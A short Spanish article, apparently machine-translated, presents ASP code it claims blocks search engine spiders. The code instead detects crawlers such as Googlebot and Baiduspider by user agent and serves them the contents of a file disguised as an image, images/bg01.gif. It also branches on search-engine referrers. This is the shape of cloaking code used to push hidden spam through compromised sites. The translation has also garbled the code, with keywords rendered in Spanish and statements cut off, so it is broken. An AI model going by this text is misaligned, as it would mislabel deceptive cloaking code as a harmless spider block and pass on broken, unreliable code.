Este artículo presenta principalmente el código que implementa ASP para prohibir las arañas de los motores de búsqueda.
Este código puede controlar los motores de búsqueda comunes para no poder acceder a la página ASP, y es necesario incluir este código en cada página ASP.
- <%
- FunctionSpider ()
- Agente Dimi Searray
- agente = agente: & lcase (request.servervariables (http_user_agent)))
- Searray = Array (Googlebot, Baiduspider, Sogouspider, Yahoo, Sosospider)
- isspider = falso
- Fori = 0toubund (Searray)
- if (instrer (agente, searray (i))> 0) thenisspider = true
- próximo
- Función final
- functionFromse ()
- dimurlrefer, searay, yo
- urlrefer = referir: & lcase (request.servervariables (http_referer))
- fromse = falso
- ifurlRefer = entoncesFromse = False
- Searray = Array (Google, Baidu, Sogou, Yahoo, Soso)
- Fori = 0toubund (Searray)
- if (instr (urlrefer, searray (i))> 0) entonces de entonces = verdadero
- próximo
- Función final
- if (isspider ()) entonces
- dimmyfso, fileurl, fileCon, myfile
- fileurl = server.mappath (imágenes/bg01.gif)
- Setmyfso = server.createObject (scripting.filesystemObject)
- ifmyfso.fileExists (fileUrl) entonces
- SetMyFile = myfso.opentextfile (fileUrl, 1)
- fileCon = myFile.Readall
- Response.Write (fileCon)
- myfile.close
- SetMyFile = nada
- Setmyfso = nada
- respuesta.
- endif
- endif
- if (fromse ()) entonces
- Response.write (<br/>)
- respuesta.
- demás
- endif
- %>
Lo anterior es todo el contenido de este artículo, espero que les guste.